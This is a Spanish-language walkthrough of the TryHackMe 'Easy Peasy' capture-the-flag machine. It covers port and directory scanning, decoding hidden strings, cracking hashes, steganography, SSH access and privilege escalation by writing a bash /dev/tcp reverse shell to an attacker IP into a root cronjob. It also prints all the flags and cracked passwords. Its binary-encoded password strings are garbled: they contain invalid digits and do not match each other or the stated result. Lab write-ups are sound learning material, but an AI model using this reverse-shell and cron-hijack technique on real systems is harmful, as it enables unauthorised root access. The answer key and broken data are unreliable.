TryHackMe: Easy Peasy
Introducción
Práctica el uso de herramientas como Nmap y GoBuster para localizar un directorio oculto para obtener acceso inicial a una máquina vulnerable. Luego escala privilegios a través de un cronjob vulnerable.
Procedimiento
1. Escaneo Completo de Puertos
Comenzamos identificando todos los puertos abiertos en la máquina objetivo:
nmap -p- --open -T4 --min-rate 5000 IP
Resultado:
PORT STATE SERVICE
80/tcp open http
6498/tcp open unknown
65524/tcp open unknown
2. Detección Detallada de Servicios
Realizamos la obtención de banners y ejecución de scripts por defecto en los puertos descubiertos:
nmap -p 80,6498,65524 -sC -sV IP
Resultado:
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.16.1
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.16.1
6498/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 30:4a:2b:22:ac:d9:56:09:f2:da:12:20:57:f4:6c:d4 (RSA)
| 256 bf:86:c9:c7:b7:ef:8c:8b:b9:94:ae:01:88:c0:85:4d (ECDSA)
|_ 256 a1:72:ef:6c:81:29:13:ef:5a:6c:24:03:4c:fe:3d:0b (ED25519)
65524/tcp open http Apache httpd 2.4.43 ((Ubuntu))
|_http-server-header: Apache/2.4.43 (Ubuntu)
|_http-title: Apache2 Debian Default Page: It works
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
3. Fuerza Bruta de Directorios Web (Puerto 80)
Escaneamos el servidor web principal en el puerto 80 buscando directorios ocultos usando Gobuster:
gobuster dir -u http://IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50
Resultado:
hidden (Status: 301) [Size: 169] [--> http://IP/hidden/]
4. Exploración de /hidden/
Al inspeccionar el código fuente de http://IP/hidden/ encontramos una plantilla básica de bienvenida. Procedemos a escanear subdirectorios dentro de la carpeta:
gobuster dir -u http://IP/hidden/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50
Resultado:
whatever (Status: 301) [Size: 169] [--> http://IP/hidden/whatever/]
5. Exploración de /hidden/whatever/
Al inspeccionar el código fuente de http://IP/hidden/whatever/ descubrimos un fragmento HTML con un párrafo oculto en base64:
<p hidden>spoiler{ZmxhZ3tmMXJzN19mbDRnfQ==}</p>
6. Decodificación del Parámetro Oculto (Primera Flag)
Decodificamos la cadena en base64 para recuperar el primer flag de la máquina:
echo "spoiler{ZmxhZ3tmMXJzN19mbDRnfQ==}" | base64 -d
Resultado:
flag{f1rs7_fl4g}
7. Escaneo del Puerto 65524 para Archivos
Procedemos a realizar un análisis de directorios especificando extensiones en el servidor Apache alternativo del puerto 65524:
gobuster dir -u http://IP:65524/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50 -x php,txt,html,xml,bak
Resultado:
index.html (Status: 200) [Size: 10818]
robots.txt (Status: 200) [Size: 153]
8. Decodificación del Robots.txt y Hash MD5 (Segunda Flag)
Inspeccionamos el contenido de http://IP:65524/robots.txt:
User-Agent:*
Disallow:/
Robots Not Allowed
User-Agent:spoiler{a18672860d0510e5ab6699730763b250}
Allow:/
This Flag Can Enter But Only This Flag No More Exceptions
Analizamos el User-Agent hash para identificar el tipo de hash:
hashid spoiler{a18672860d0510e5ab6699730763b250}
Resultado de la identificación:
Analyzing 'spoiler{a18672860d0510e5ab6699730763b250}'
[+] MD5
[+] MD4
[+] Double MD5
Al identificar que se trata de un hash MD5, procedemos a desencriptarlo (por ejemplo, utilizando un servicio en línea como MD5 Center), obteniendo la segunda flag de la máquina:
spoiler{a18672860d0510e5ab6699730763b250} -> flag{1m_s3c0nd_fl4g}
9. Búsqueda de la Tercera Flag en el Código Fuente de Apache
Revisamos detalladamente el código fuente de la página principal del Apache alternativo (http://IP:65524/index.html) y encontramos la tercera flag comentada:
They are activated by symlinking available
configuration files from their respective
Fl4g 3 : flag{9fdafbd64c47471a8f54cd3fc64cd312}
*-available/ counterparts. These should be managed
by using our helpers
10. Localización del Directorio Oculto (Base62)
Más abajo en el código fuente de http://IP:65524/index.html, encontramos otra pista en un comentario:
<p hidden>its encoded with ba....:spoiler{ObsJmP173N2X6dOrAgEAL0Vu}</p>
Utilizamos Python para decodificar esta cadena codificada en Base62:
python3 -c "import base62; print(base62.decodebytes('spoiler{ObsJmP173N2X6dOrAgEAL0Vu}').decode('utf-8'))"
Resultado:
/n0th1ng3ls3m4tt3r
11. Desencriptación del Hash GOST
Navegamos a http://IP:65524/n0th1ng3ls3m4tt3r/ y localizamos el siguiente hash:
spoiler{940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81}
Tras analizarlo con hashid, se identifica compatible con el algoritmo GOST R 34.11-94. Empleamos John the Ripper junto con el diccionario proporcionado por la máquina para crackearlo:
john --format=gost --wordlist=easypeasy_wordlist.txt hash.txt
Contraseña descifrada:
spoiler{mypasswordforthatjob}
12. Extracción de Datos Esteganográficos
En el directorio /n0th1ng3ls3m4tt3r/ se encuentra la imagen binarycodepixabay.jpg. La descargamos y ejecutamos steghide utilizando la clave obtenida spoiler{mypasswordforthatjob} para extraer datos ocultos:
steghide extract -sf binarycodepixabay.jpg
El contenido extraído de secrettext.txt es:
username:boring
password:
spoiler{01101001 01100011 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001 01110000 01100001 01110015 01110011 01110111 01101111 01110010 01100100 01110100 01100100 01101001 01101110 01100001 01110010 01111001}
13. Decodificación de Binario a Texto (Contraseña SSH)
Convertimos la cadena de bytes binarios a texto ascii legible:
for i in spoiler{01101001 01100011 01101111 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001 01110000 01100001 01110015 01110011 01110111 01101111 01110010 01100100 01110100 01101111 01100010 01101001 01101110 01100001 01110010 01111001}; do printf "\x$(printf %x $((2#$i)))"; done; echo
Resultado:
spoiler{iconvertedmypasswordtobinary}
14. Acceso SSH Inicial (User Flag)
Iniciamos sesión mediante SSH utilizando el usuario boring y la contraseña spoiler{iconvertedmypasswordtobinary} a través del puerto SSH personalizado 6498:
ssh boring@IP -p 6498
Al listar los archivos del directorio encontramos user.txt con la flag codificada en ROT13:
spoiler{synt{a0jvgf33zfa0ez4y}}
La decodificamos mediante el comando tr:
echo "spoiler{synt{a0jvgf33zfa0ez4y}}" | tr 'a-zA-Z' 'n-za-mN-ZA-M'
Flag de Usuario:
flag{n0wits33msn0rm4l}
15. Escalación de Privilegios (Root Flag)
Analizamos las tareas programadas a nivel de sistema:
cat /etc/crontab
Identificamos una tarea programada ejecutada por root cada minuto:
* * * * * root cd /var/www/ && sudo bash .mysecretcronjob.sh
Comprobamos los permisos de escritura sobre .mysecretcronjob.sh:
ls -la /var/www/.mysecretcronjob.sh
Resultado:
-rwxr-xr-x 1 boring boring 33 Jun 14 2020 /var/www/.mysecretcronjob.sh
Al pertenecer el archivo y ser editable por boring, podemos inyectar un payload para entablar una shell reversa:
echo "bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'" > /var/www/.mysecretcronjob.sh
En nuestra máquina de ataque local, iniciamos el listener netcat:
nc -lvnp 4444
Una vez transcurrido el minuto, el cronjob se ejecuta con permisos de superusuario dándonos acceso remoto. Validamos nuestra identidad de root y leemos la flag final:
whoami
# root
cat /root/.root.txt
Flag de Root:
flag{63a9f0ea7bb98050796b649e85481845}